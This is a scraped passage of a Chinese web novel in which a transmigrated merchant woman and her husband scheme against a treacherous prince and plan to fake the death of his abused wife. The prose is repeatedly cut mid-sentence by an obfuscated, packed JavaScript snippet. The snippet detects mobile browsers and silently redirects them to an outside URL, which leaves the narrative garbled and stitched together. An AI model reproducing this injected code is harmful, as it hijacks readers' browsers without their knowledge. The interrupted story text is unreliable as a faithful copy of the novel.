待到二人终于赤诚相见之时,言正廷已经按捺不住,但似乎又怕勾起顾清语心中的伤痛,不敢继续。 顾清语迷蒙着双眼,一边揉着他的发,一边在他耳边轻声低语:“他没有得逞,我仍旧是你一个人的。” 闻言,言正廷身体一震,颤抖着嗓音问道:“你真的没有被他欺负?” 顾清语羞涩地点了点头,:“我答应过你,待你回来就完成我们未完成的事。” 言正廷将顾清语紧紧拥入怀中,生怕这失而复得的幸福会一不小心就被多走。 这一刻,他们终于得以圆满。 直到第二日午间,两人也仍未出房门。 阿砚来门口望了几次,见房门始终紧闭,想敲门又不敢打扰。 每每当她在门外徘徊,却时不时听见房内传出令人心跳加速的声响,让她羞红了脸。 小厮过来寻她,让她别不识好歹打扰两位主子的好事。 她却担心小姐会不会饿肚子。 “少爷少夫人小别胜新婚,哪还顾得上用膳,你赶紧跟我走吧!” “可是,可是小姐不吃早饭会晕倒的!” 小厮敲了敲阿砚的头,“有情饮水饱你没听过啊?走走走,别在这儿杵着了!” 屋外的一番对话,被屋内二人尽收耳底。 可二人并不打算就此分开。 直到顾清语再也受不住了,威胁言正廷若再不起身,今晚便不许他进屋,才终于念念不舍的作罢。 二人起床后,他还亲自为顾清语梳洗打扮。 望着镜中为她梳头的言正廷,顾清语忍不住打趣:“你从前不是整日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这日,言正廷刚从邻国商演回来。 他不仅为顾清语带回了她喜欢的那些稀奇玩意儿,还带来了一个重要消息。 刚一进门,他便迫不及待得奔回屋子,却没看到顾清语的身影。 一问之下,才知道她去了春风亭。 兴冲冲地赶往春风亭,才刚一进门就僵住了脚步。 偌大的春风亭里,竟空无一人,只在楼上的厢房里隐隐约约瞧见两个人影。 两队身穿重甲的精兵整整齐齐的列在两侧,见言正廷进来也并未阻拦。 言正廷心下一紧,迅速冲到厢房内。 只见喻亲王与顾清语相对而坐,面前虽然放着好茶,二人却都没有去碰。 气氛有些微妙。 见来人是言正廷,喻亲王笑容可掬地起身相迎。 “这位便是顾老板的夫君,大名鼎鼎的定北侯次子,言正廷吧?” 29.王妃 喻亲王看起来亲和谦逊,彬彬有礼。 与传闻中那个为了百姓社稷躬身而为的形象倒是颇为贴近。 “夫君,这位是喻亲王。” 顾清语适时引见,避免暴露言正廷早已识得喻亲王一事。 “小人正是言正廷,见过喻亲王。” 言正廷脸上的表情先是不可置信的惊讶,后是受宠若惊的窘迫。 连顾清语都忍不住想要给他颁个最佳演技奖了。 三人入座后又开始了一番先礼后兵的寒暄。 在未搞清楚喻亲王的真实目的之前,二人绝不敢打草惊蛇。 对方想如何拉扯,二人便陪着就是。 在你来我往的推杯换盏之后,喻亲王终于正式进入了主题。 “我今日前来,是有个不情之请。” “您这么说可就折煞我夫妻二人了,您贵为王爷,有任何要求我自当全力配合!” “此事虽并非为我一人,但还是要大家有商有量才好。” “您不必介怀,但说无妨。” 喻亲王先是以天下苍生为己任,说了一番豪言壮言。 后又以皇家社稷为重,铺垫了一堆冠冕堂皇的理由。 待终于进入正题之后,其实不过一句话:他看中了顾清语的挣钱能力,想要分一杯羹。 在这件事情上,想要来分一杯羹的人不胜枚举,但喻亲王的权势及地位,是让他们最无法拒绝的。 二人一时间分不清,喻亲王究竟是发现了二人的暗中调查,想要借挣钱为名,以除掉二人为实,抑或是真的只是贪慕这份泼天的富贵。 无论如何,喻亲王的面子是不能驳的,他提出的要求只能满足。 只是,如何满足,要满足多少,是件颇值得深究之事。 可那喻亲王既然亲自上了门,又岂是那种任人拿捏安排之辈? 他竟早已想好了具体报酬的数额:所有产业的五成。 而他能为二人提供的,则是以喻亲王的身份,保二人所有家业风调雨顺,还许诺给言正廷一个不痛不痒的小官来做。 真是狮子大开口。 即使没有他的身份作保,以二人如今的实力,也能力保自身平安。 不过一张空头支票,就生生要走了一半的盈利。 二人各自在心中默默盘算着这笔交易。 言正廷知道顾清语爱财,舍不得自家夫人辛苦建立的基业就这么白白的被人分走一半。 但顾清语在意的,则是喻亲王许诺给自己夫君的官职。 言正廷胸怀大志,却苦于长期被父兄打压,一直没有机会施展抱负。 如今喻亲王虽只给了一个小小的侍郎一职,可终究也是迈入朝堂的绝佳契机。 不等言正廷开口,顾清语便率先应了下来。 不理会言正廷讶异的眼神,顾清语豪气地应下了喻亲王的所有要求。 “好!坊间传言顾老板气度不凡、聪颖过人,今日一见果然不同凡响,是个奇女子。正廷,你有福气啊!哈哈哈哈!” “您说的是,我们家的事都是由夫人做主,我为夫人马首是瞻!” 聪颖如他,怎会不知道顺杆爬的道理。 既然喻亲王认为他是坊间传闻里那吃软饭的废物,那他便是。 毕竟,废物更容易让人放下戒心。 “您过奖了。我夫君成日里只知玩乐,从未涉及过朝堂之事,今后还要仰仗王爷您多加提点、多多照顾才是!” “那是自然。以后你顾家的事,就是我喻亲王的事,自家人自然是要照顾自家人!” 顾家? 没想到这么快就失去了姓名。 言正廷别开头,不悦的扯了扯嘴角,生无可恋的在一旁赔笑。 事情很快敲定下来,喻亲王也带着他的人马离开了春风亭。 这不平等条约就算是正式达成了。 只是,这一向最重视白纸黑字签契约、按手印的顾清语这次为何却没有拟个分账协议之类的字据呢? 言正廷心中的疑问,很快得到了解答。 “只要没签字画押,那我说五成是多少,便是多少。又有谁知道呢?” “不怕他查账吗?” 顾清语狡黠一笑,并未言语。 只是在心中暗想:合理避税是每个企业家必修的功课。更何况,她从前是做哪行的?做假账这事儿,只有她不想,没有她不会的。 虽然明面上答应了分给喻亲王五成,可她早就在心中盘算过了,只打算分给他两成。 这当务之急,是搞清楚喻亲王究竟知不知道暗鹰在背地里调查他。 可是言正廷的当务之急,却并非是调查喻亲王。 而是为自己正名。 当晚,言正廷便迫不及待地在闺房里证明了谁才是一家之主。 在暗鹰和男团一暗一明的配合之下,他们慎重调查了许久,终于确定了喻亲王找上他们,的确是为了钱。 他在关内外大量购买军械,还要私底下筹备兵马粮草,开支不可能不大,所以这才盯上了顾清语的这份产业。 “既然确定了他毫不知情,那我埋伏在他身边,便更方便调查了。” “夫君切不可大意,喻亲王这种笑面虎最是阴狠毒辣,他不可能对你毫不设防,切不要操之过急暴露了身份。” “放心吧!我心里有数。” 言正廷在终于获得喻亲王许诺的官职后,便在翌日一早正式走马上任户部侍郎一职。 户部一直归喻亲王管辖,户部掌管土地、赋税,对于有心的人来说,绝对是个肥美的差事。 只是言正廷并未获取喻亲王的信任,虽挂了个侍郎的头衔,却并无具体实权。 直到第一次分账期限到来,言正廷也没能摸到门路。 言正廷有些沮丧,顾清语却心下了然,早有准备。 “无碍,想来他也不会轻易向你下放实权。夫君只需安心待在他身边,剩下的事交给我就好。” “夫人打算怎么做?” “这种人很难会信任任何人,除非你给了他足够的好处。” 第一次分账,顾清语并未按照刚开始预想的二成分给喻亲王,而是足足五成全额上交。 喻亲王在看到分账时两眼放光的样子,让顾清语的把握又多了几分。 上任户部侍郎的第二月,言正廷仍旧无所事事。 只是这第二月的分账,就如言正廷的仕途一般,遭遇重创,只剩下一成。 喻亲王看着手上的账册,不悦地皱起眉头。 “这月怎么比上月少了那么多?” “王爷您不知,我夫君从前虽不成气候,整日嘻嘻哈哈,但是起码能在杂事上为我分忧。可是去了您那儿以后,公务繁重,每日回来都没空搭理我了。也许是这夫君足够旺财,他一走,生意就差了许多,所以这才一下失了好多挣钱机会。您别说,我都想让他回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14398060|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 喻亲王一听,这不是在点我吗? 明明我什么都没安排他做,却说公务繁重。 若我答应他辞官,那这白来的银钱不就没了吗? “正廷的确是个好帮手。况且,为官可不能儿戏。怎能说来就来,说走就走呢?” “王爷您教训得是,这月我定会再加把劲,看看没了夫君这生意到底能不能做好了。” 果不其然,喻亲王回去之后,竟真的开始让言正廷接触户部各项事务了。 虽只是些明面上的公务,但至少,是真正踏出了第一步。 言正廷自小在父兄的压制下生活,对于如何讨好人心这套早已了如指掌。 自他正式接触到户部之后,便开始对喻亲王及户部众人一一攻略。 不出三月,他便已经与众人打成一片,开始逐渐接触到户部真正的核心事务。 只是喻亲王戒心颇重,虽然对他不似当初那般防范,但也终究没拿他当自己人。 而顾清语这边也并未闲下来。 在夫君一心潜伏在喻亲王身边时,她开始攻略喻亲王妃。 喻亲王能开设风雅颂这样的地方,必定跟那些人有着同样喜欢凌虐女子的嗜好。 只是多年来,喻亲王都只有王妃这一个发妻,并未三妻四妾,可见王妃定然有他不敢妄动的过人之处。 在暗鹰的一番打探之下,顾清语终于找到了接近王妃的机会。 王妃竟然喜好礼佛,这是让顾清语没想到的。 佛堂虽乃清净之地,可也需要靠平日里善男信女的善款来维持开销。 恰恰顾清语现在最不缺的,便是银钱。 于是,她在王妃每月必去清修的那一日,包下了整座佛堂,说要为已故的母亲做法事祈福。 这日,喻亲王妃刚到佛堂就收到了佛堂今日无法清修的消息。 一向不喜与人相争的她本想打道回府,却发现马车竟然坏了。 在她欲等待新的马车来接之时,又遇到了不长眼的小贼竟想明目张胆地抢东西。 顾清语早已打探清楚,王妃来佛堂清修这一日,只会带一名随身侍女。 于是,适时让已经易容过的清檀出手救下了王妃。 在得知顾清语就是京城里大名鼎鼎的顾老板之后,两人相谈甚欢。 看得出来王妃对于顾清语自由自在的生活很是向往。 受困于天家府邸却又不得宠爱的女子,又有哪个不向往自由呢? 顾清语深谙王妃的苦处,却并没有似旁人一般向她献媚。 只是一听说王爷有公务时,就带着王妃到处游山玩水,带她去自家娱乐场里看男女团演出。 既没有任何钱财往来,也没有提出过任何请求。 似乎是真的只想与她交好,而不是为了从她身上讨要好处。 这日,王妃在喝过顾清语自制的奶茶后,终是忍不住发问:“清语,你想要什么,就直说吧?” 顾清语一脸莫名其妙。“王妃这是何意啊?” “世人接触我,不过都是想从我身上获取好处。这好处也许是钱财,也许是王爷那边的方便。你想要什么,大可直说,能帮我一定帮。” 顾清语看着眼前这女子,突然就生出一股怜悯之心来。 半晌,她才认真道:“我想要你开心。” “要我开心?” “对!不止是你,我想要我遇到的所有女子都过得开心。” 30.拯救 顾清语拉着王妃的手,满眼真诚。 “相信王妃对我现在的营生早有耳闻,我之所以创办女子商会、女子团体,就是想让我们大越的女子活得比男子更加精彩,即使没有男人,我们也可以自给自足,取悦自己。” 话里话外,都在鼓励王妃大胆做自己。 而王妃听后,眼神有些飘忽不定,口中喃喃道:“取悦自己……我可以吗?” “当然可以!” 顾清语握住王妃的手更加用力,她想要向王妃传递力量。 谁料,王妃却突然吃痛,想要收回被顾清语紧握的手。 在她将手抽离的瞬间,顾清语分明看到了被掀起的衣袖下,是一片触目惊心的青紫。 “王妃,你……” “好了,清语,你的心意我收到了,今日有些乏了,我先回去了。” 王妃打断了顾清语的问询。 她知道她想问什么,可她不能说,也不敢说。 顾清语的手还悬停在半空中,王妃便已带着侍女匆匆离去。 在她惊愕的目光中,那抹瘦弱的身影渐行渐远。 没想到,喻亲王竟然也对王妃下了毒手。 她打探过王妃的身世。 作为庆国公的独女,她本该富贵非凡,集万千宠爱于一身,岂料庆国公早年为了大越战死沙场,国公夫人悲痛欲绝,也跟着去了,将王妃临终托孤于陛下。 而陛下是个重情重义之人,受托之后也是思虑再三才将王妃许给了其最为信任的喻亲王,让他代为照拂功臣之女。 照理说,即便王妃家世没落,她背后也还有陛下为其撑腰。 为何这喻亲王如此大胆,竟敢将这凌虐之事施加于王妃身上? 顾清语百思不得其解。 回府后,见言正廷在家,便将今日之事如实相告。 她本以为言正廷也会大吃一惊,岂料他却心下了然。 “你早就知道这事?” “夫人,别忘了我们的暗鹰是做什么的?” 原来,早在喻亲王接近二人时,言正廷就派暗鹰盯上了喻亲王府。 喻亲王与王妃表面上琴瑟和鸣,实际早已分崩离析。 喻亲王当初娶了王妃后,就将其身后的国公府压榨得一干二净。 也是凭着庆国公夫妇为女儿留下的家产,他才有了密谋造反的资本。 可以说,当初在陛下面前两袖清风、视名利如粪土的喻亲王完全是倚仗王妃才有了今日的家业。 可是他在掠取了王妃所有的家产,将其压榨得分毫不剩之后,却对王妃弃如敝履,甚至将在风雅颂里凌虐女子那一套施加在了王妃身上。 王妃生性纯良,在父母双亡后突然失了依靠,对喻亲王言听计从。 以至于后来喻亲王对她做出再过分的事,她也不敢反抗。 毕竟,一个养在深闺的少女,突然没了父母的庇佑,如果再失了夫君这个依靠,根本不知道该如何生存。 听完王妃的故事,顾清语有些唏嘘。 难怪王妃偏爱礼佛,想必那已是她唯一的精神依靠了。 这大越的女子,无论是生于王侯将相之家的王妃,还是寻常百姓家的清檀,抑或是商贾贵胄家的原主,竟都过得如此艰难。 各有各的苦,却难有一个能顺遂幸福。 她心中忽然生出一股超然的勇气来。 既然老天让她穿越到这里,说不定就是为了拯救大越的女子吧? 毕竟,她也是全凭着自己,才能逆天改命,从一个落魄小姐变成了如今大越最有话语权的女商。 她深信,自己连清檀都能救,王妃也一定能救! 一旁的言正廷似乎看穿了她的心事,一把将她揽进怀中。 “怎么?又想逞能了?” “什么逞能啊?谁逞能了?我不过是想对得起自己的良心罢了。” “是是是,夫人说什么,便是什么,我尽力去做便是了。” 顾清语心下一片柔软。 但望向言正廷的眼眸里,却有一丝迷茫。 “你会不会觉得我太圣母心、太多管闲事了?” “怎么会?我夫人是全天下最好、最善良的女子,我知道你想救她们于水火,还想给她们一个安身立命之所,这些都没有错。你尽管放心大胆去做,一切有我。” 顾清语倚在言正廷怀里,依偎得更紧了。 有了言正廷的鼓励之后,顾清语更加坚定了要将王妃拉出泥沼的决心。 喻亲王是迟早要完蛋的,若王妃与他同流合污,那最后双双丧命也并不无辜。 可既然王妃也是受害者,便不能继续留在王府,不然将来东窗事发就必会收到牵连。 她已经过得如此凄苦,却还要承受夫君犯下的罪业,这也太不公平了! 这日,顾清语又到佛堂来寻王妃。 未承想,王妃却避而不见。 即便如此,顾清语仍然执拗地等在佛堂之外。 既不勉强,也不打扰。 一次不行,她就来两次、三次,直到王妃肯见她为止。 精诚所至,王妃终于答应在佛堂见她了。 这是顾清语第一次进入佛堂。 一进门,便是巍然而立的佛祖法相,可王妃的侍女却领着她绕过佛像,来到一出暗门外,一番操作之下才进了暗门。 这暗门里,竟供奉着许多并没有名字的牌位,而王妃正极为虔诚的进行着供奉。 她便静静的站在一旁等待。 待供奉仪式结束时,才听到王妃轻声唤她。 “清语,你知道他们都是谁吗?” “不知。” “她们,都是可怜人。” 说罢,王妃起身领着顾清语走到了供桌的后方。 这时顾清语才瞧见,每个牌位的背后都念着一张包裹起来的黄纸。 顾清语凑近了细看,上面似乎是一个个人名。 李清儿、万秀、殷燕…… 这些名字,好生熟悉,似乎在哪里见过? 顾清语皱眉思索,这一个个名字她肯定见过,只是一时想不起来。 等等!她想起了! 这些难道是…… 顾清语一个激灵,不可置信的看向王妃。 “没错,她们都是在风雅颂无辜殒命的女子。” 她知道! 她竟然一直都知道! “清语,现在你还觉得我是无辜的吗?” 王妃的双眼蒙上了一层雾气,那看不清的瞳孔里印满了绝望。 “我不信!我从来没有看错人,你不是那样的人。” 短暂的震惊后,顾清语很快恢复了理智。 和王妃相处的时日虽然短暂,却也能感知她内心纯良,一心向善,她绝不是那种助纣为虐之人 。 听到顾清语说“你不是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而这个苦命人,只能用她自己的方式去为更多薄命人尽那一点微薄之力。 “我日日在这佛堂里,祈求佛祖原谅我的罪孽。可是我真的没办法了,除了为她们祈福以外,我什么都做不到!” 王妃的哭泣,是无能为力的悲哀,也是痛心疾首的呼喊。 “这一切都不是你的错,不要责怪自己。” 顾清语心疼的抱着这个脆弱的女子。 这时她才发现,在锦衣华服的裹挟下,竟是一具摇摇欲坠的躯体。 王妃太瘦了,仿佛只要稍一用力,就能把她捏碎一般。 瘦弱不堪的身体在顾清语怀里轻轻颤抖着,尽情释放多年的悲愤与凄苦。 顾清语也不多言,只是任她放声哭泣,诉尽心中委屈。 许久,王妃才慢慢平静下来。 顾清语小心地为她擦拭眼泪,整理妆发。 待她重新成为那个衣冠靓丽的王妃时,顾清语双手紧紧握着她瘦弱的肩膀,眼神坚定。 “我一定会帮你逃出喻亲王的魔爪,相信我。” “我可以吗?你真的能救我?” “一定可以!” 31.变故 在顾清语的鼓励下,王妃道出了更多喻亲王的恶劣罪行。 除了他们早已知晓的那些勾当以外,他甚至还参与了贩卖人口。 顾清语生平最恨的便是人贩子。 儿时,在孤儿院里她曾有过一个要好的朋友。 她比顾清语幸运,只在孤儿院呆了两年就遇到了愿意领养她的人。 临走前,她将自己最喜欢的娃娃送给了顾清语,说永远要与她做最好的朋友。 岂料,在孤儿院的匆匆一别,便是永远。 她们曾经约定,每月要在孤儿院旁的公园里见一次面。 可是第一次她就爽约了。 第二次、第三次、第四次…… 她再也没有出现过。 顾清语以为,朋友拥有了幸福美好的人生之后,就把自己忘记了。 可是三年后,却从孤儿院的义工口里得知,收养她的那对夫妻,竟然是一对人贩子。 他们把她领养后,转手就卖给了乡下一户人家做童养媳。 那户人家的儿子是傻子,整天以折磨她取乐。 还等不到长大那一天,她就被那傻子给活活打死了。 每当忆起这段过往,顾清语都对人贩子恨之入骨。 这个喻亲王,竟能凭一己之力做尽了天下之恶事。 沉吟片刻后,顾清语问王妃:“喻亲王干的这些事,你可有证据?” 王妃为难道:“只有一些贪赃枉法的罪证,真正恶毒之事他做得很隐蔽。” “那你知道不知道,他想造反?” “若不是怕牵连我全族,我早就向陛下揭发他了。可如今,我族人走的走,亡的亡,就剩我一人我也没什么好怕的了。” “这些证据你可有?” “没有。不过哪个君王不多疑,一旦让陛下心里有了揣测,必定会对他造成威胁。” 光有威胁是不够的。 想要击败这样的人,必须万事俱备,一击即中。 当务之急,是救王妃逃出升天之外,搜集更多喻亲王的罪证。 顾清语让王妃先行回府,她一定为她筹谋好出逃之策。 为避免引起喻亲王怀疑,顾清语最近渐渐减少了去找王妃的次数。 有任何事情,都交由暗鹰代为传达。 与此同时,她让清檀为她研制了一种假死药。 这几日,她思来想去也想不到一个更好的方法,既可以让王妃脱离魔爪,又能确保她不会再被喻亲王抓回去。 唯一的方法,就是死。 假死不难,怎么保证王妃在假死后顺利脱身才是难事。 毕竟王妃的丧仪可是大事,王府必定会大操大办,也会不断有人来瞻仰王妃遗容。 怎么将王妃转移出来且不被人发现呢? 顾清语这几日为此想破了脑袋。 毕竟她一个穿越过来的现代人,除了在电视上见过以外,根本不知道真实的王妃丧仪会是什么制式。 言正廷见她愁容满面,很是心疼。 “夫人,可别再愁了,小脸儿都要皱成包子了。” 顾清语心疼言正廷在王爷麾下做事,既违心,又憋屈。 本不想让他再为自己的事烦心,可眼下自己这脑子就像被堵住了一般,愣是被困在了这解不开的迷网里。 不得已,她向言正廷说明了自己的想法。 未承想,言正廷听后却哈哈一笑: “这有何难?既然真的王妃死了不容易换走,那就用假王妃啊!” 假王妃? 言正廷见顾清语仍旧一脸懵逼,忍不住笑道:“你不会忘了你的好妹妹清檀,除了用药用毒以外,最擅长的是什么了吧?” 对啊,她怎么给忘了。 清檀最擅长易容之术了! 自清檀跟在她身边以后,她们早以姐妹相称。 顾清语待她,也如亲妹妹般爱护有加。 可是…… 又要去哪儿找个假王妃来易容呢? 找一个真的女子去,万一有危险,会害了别人。 若是要备一具女尸,又要去哪里找和王妃身形相貌都高度相似的女尸呢? 正在两人一筹莫展时,清檀却突然推门而入。 “姐姐,让我去!” 二人同时一惊。 “清檀,你?” “姐姐,我不是故意偷听你们的谈话,我来给你送安神香,却正好听到了喻亲王,所以……” “不碍事。可是你刚才胡说什么呢?好不容易才捡回一条命,我怎么能把你再送回去!” “姐姐,我想亲手报仇!” “我知道!可是……还不是时候。” “这次机会难得,只要找个无人之时,我定能将他杀掉!” “清檀!你冷静点,先不说你能不能杀了喻亲王,就是真的杀掉了,然后呢?你一直背负着杀人的罪责永远不见天日的活着,而他曾做过的坏事却再也无人知晓,这是你想看到的吗?” 语毕,清檀终于冷静下来了一些。 可她仍旧满心不甘,只要一想到这个坏人每日仍然风光无限,她就坐立难安。 而顾清语和言正廷那边已经决定,要找一具与王妃相似的女尸来替代。 可是,说起来简单,想要真正做到滴水不漏,却难于上青天。 女尸若死亡时间过长,会太过僵硬,难以搬运。 他们只能买通城中所有的义庄,只要找到一具身形与王妃相似的女尸,便立即实施计划。 现在唯一能做的,只有等。 等待时机,等待成熟。 虽然不知何时才能等到一具相似的女尸,但为了让王妃的死更逼真一些,顾清语已经让清檀开始为她调配药物。 清檀调制的药能让人的身体日渐衰弱而找不出因由,对身体有一定的损伤。 在给王妃服用之前,顾清语再三询问她是否已经考虑清楚,是否能够承受后果。 王妃很坚定。 对她来说,只要能离开喻亲王这个魔鬼,身体损伤又算得了什么。 毕竟,她曾想过要和他玉石俱焚。 让清檀反复确认过药物的剂量与安全性之后,一副副药被暗鹰送到了王妃手里。 不久,王府便传出了王妃身患顽疾的消息。 喻亲王在外人面前,表现得极为惆怅。 甚至找了宫中御医首辅来为王妃诊治,也没能发现个所以然。 言正廷带回这个消息的时候,顾清语虽然心中了然,却也不得不再次惊叹,清檀的用药技艺已经出神入化到首辅也未能察觉的地步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实她明白言正廷心中的憋闷,只是…… 事关王妃和清檀的性命,她确实没有心情与他缠绵。 可是看他挫败的模样,她又极为不忍心。 思忖片刻后,顾清语终是微微叹气,再次推门进入。 言正廷见顾清语又转头回来,便再也绷不住了。 一个箭步冲向门口,狠狠把顾清语拥入怀中,再也不愿放开。 —— 又过了几日,暗鹰传来消息: 有义庄收到了一具无名女尸,与王妃身形极为相似。 言正廷带着顾清语和清檀火速赶往义庄。 好不容易才找到一具合适的尸身,若是晚了,尸身变得僵硬,他们的计划便又要推后了。 一行三人急匆匆来到义庄。 待见到女尸的那一刻,却全身僵得无法动弹。 这女尸…… 不正是王妃本人吗? 王妃,死了? 32.僵局 这是在场所有人都没能预料到的状况。 眼前这具女尸,似王妃,又不似王妃。 无论衣着还是身形,都与王妃高度相似。 可是她的容貌被烧毁了近八成,实在难以辨认。 以至于众人在看到女尸第一眼时,就在心里默认了她就是王妃。 如今冷静之后,才开始细细去辨认。 这凶手极为狡猾。 眼耳口鼻这种更为容易辨认的位置都已模糊不清。 剩下完整的部分,说她是谁好像都能说得过去。 这到底是怎么回事? 在他们急需一具与王妃高度相似的女尸时,就真的出现了一具与王妃相似度达到八成的女尸。 并且死因成谜,容貌全毁。 这诡异的巧合让众人心中皆是一凛。 到底是他们中间出现了内鬼,还是背后有什么人早已识破他们的计谋,并且时刻监视着他们的一举一动? 此刻,答案无人知晓。 当务之急,是尽快确认女尸的真正身份。 顾清语快速整理好自己的情绪,出了义庄就要往喻亲王府去。 眼看着她有些失了理智,言正廷赶紧将她拉住。 “夫人,你要做什么?” “我要亲自去看看,王妃到底是死是活。” “你有没有想过,如果这是个陷阱,你这一去就正好掉进了陷阱里!” “我知道!可是我没办法再坐着等了,如果这具女尸真的是王妃,那,那岂不是……” 话未说完,顾清语骤然泣不成声。 如果真的是王妃,那岂不是我害死了她! 言正廷紧紧搂住已然崩溃的顾清语。 他怎会不知道自家夫人此刻内心的愧疚与挣扎。 他又何尝不怕王妃的死是因为事情败露,若真是如此,他全家必将面临灭门之灾。 越是紧要关头,越不能乱了阵脚。 无论这具女尸是不是王妃,他们都不能贸然前去试探。 否则,就是不打自招了。 一旁的清檀也是满脸凝重。 她本以为自己这些时日的付出与成长已经足够对付喻亲王了,结果现实却狠狠地给她上了一课。 三人回府,一路无言。 如今他们什么也做不了,只能默默等待仵作和暗鹰的消息。 三日已过,暗鹰却仍旧没能打探到王府的任何消息。 仵作那边也不能找到更多证明身份的证据。 而这三日,喻亲王都称病不上朝,言正廷连喻亲王的面都没能见到,更别说探听消息了。 整件事突然就陷入了僵局。 如今这状况,让顾清语完全没了经营商会的心思。 她将大量事务都交由十一娘打理。 十一娘也深知顾清语不是耽于享乐之人,能让她对挣钱失了兴致,必然是遇到了大事。 所以爽快应下了顾清语的所有要求,让她放心处理自己的事。 顾清语曾想过要将王妃的事告知十一娘,让她也帮忙出一份力。 可是眼见着事情开始朝着不可控制的方向发展,她开始庆幸自己没有把十一娘拉下水,以免害得她也身陷囹圄。 又过了几日,整个喻亲王府仍然严防死守,没有一点消息传出。 顾清语与言正廷也越发开始焦躁起来。 这日,十一娘向顾清语送来一份【流程表】。 她打开一看,竟是关于女子商会成立一周年的活动流程事项。 对了! 这是她早几个月前就已经开始筹划的活动。 只是这段时日一心想着帮王妃脱离苦海,却把这对她来说甚为重要之事给忘在了脑后。 眼看着周年庆已进入倒计时阶段,十一娘已经处理好了所有细节,只等流程表让顾清语确定了。 其实,十一娘这古代人本是不知道这些东西的,不过却在顾清语的坚持下,也学会了做【流程表】、【计划书】以及各种【合约协议】。 顾清语一直想找机会去王府一趟,却找不到一个合情合理的事由。 如今,正好借着送周年庆活动请帖的契机,可以亲自去王府打探虚实。 她将自己的想法告诉了言正廷,岂料却遭到了他的强烈反对。 “不可以!你绝不能亲自去王府。” “为何?以王妃的地位,我作为女子商会的会长亲自去送请帖,不正是情理之中的事吗?” “若现在停在义庄的那具女尸真的是王妃,就说明我们的行动已经败露,你现在去王府,不是送羊入虎口吗?” “那要怎么办?让旁人去送,你就不怕喻亲王治你怠慢之罪吗?” 也对。 看来这趟王府,是非去不可了。 言正廷思忖片刻后,终于下定决心:“我去送。” “你去?”这下顾清语可不干了,“不可以!你不能去!” 顾清语不是不知道此番前去凶险重重。 她自己可以不怕危险,可她不能让夫君为了她以身犯险。 言正廷已经历过太多苦难。 她想要保护的人,想要拯救的人,一个个都饱经苦楚。 无论如何,她也不能再让他出事。 “清语,你听我说……” “你听我说!”顾清语粗暴地打断言正廷,认真道:“王妃是我要救的,如今无论她是生是死,都该由我来亲自验证。我不会再让任何人替我去承担风险,我也无法再承受失去任何人的痛苦,尤其是你,夫君。” 顾清语认真的脸上一片惨白,原本那双极好看的桃花眼里,此刻氤氲着一层雾气。 明明只要稍一用力,泪水就会顺势而下,可她却偏偏将眼泪牢牢锁在早已通红的眼眶里,倔强得让人心疼。 言正廷本还想要争辩一番,却在看到顾清语这认真而倔强的神情时突然失了言语。 他不忍心再与她争执,此刻只想把他紧紧拥入怀中。 “好,我答应你。不过你万事小心,我会为你做好完全的准备,绝不会让你受到一丝伤害。” 言正廷拥着顾清语的手又紧了几分。 在顾清语决定去送请柬这天,言正廷及暗鹰上上下下严阵以待、蓄势待发。 他在王府守卫范围之外,布置了所有能调派的力量。 无论明的、暗的,他倾尽了自己的所有,只为护顾清语周全。 傍晚,在言正廷确认没有疏漏之后,顾清语坐着马车来到了喻亲王府门前。 深吸一口气后,她叩响了王府的大门。 说明来意之后,果不其然如她所料,守卫并未答应让她入内。 只搪塞说王爷近来身体欠佳,不便见客。 顾清语说自己是来找王妃的,不打扰王爷休息。 守卫却仍旧不肯放行。 一番拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572786|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯后,顾清语见守卫打定了主意不放行,她便只有拿出最后的杀手锏——由容贵妃亲点的邀请名单。 当今圣上最为宠爱的容贵妃,其实是顾清语创办带货时最早的一批客人。 一开始,贵妃并未表露自己的身份,只是一直默默的买买买。 而顾清语却早已对这位大客户的身份有所怀疑。 在她故意用一些别国来的稀奇玩意儿几番试探之后,对方才终于亮明了身份。 深宫之中的妃嫔,各种奇珍异宝应有尽有,早已看腻了那些俗世之物。 而流通于民间的一些常人轻易得不到的珍稀玩物,反而更受她们的青睐。 而荣贵妃则是出了名的偏爱搜集那些民间趣宝。 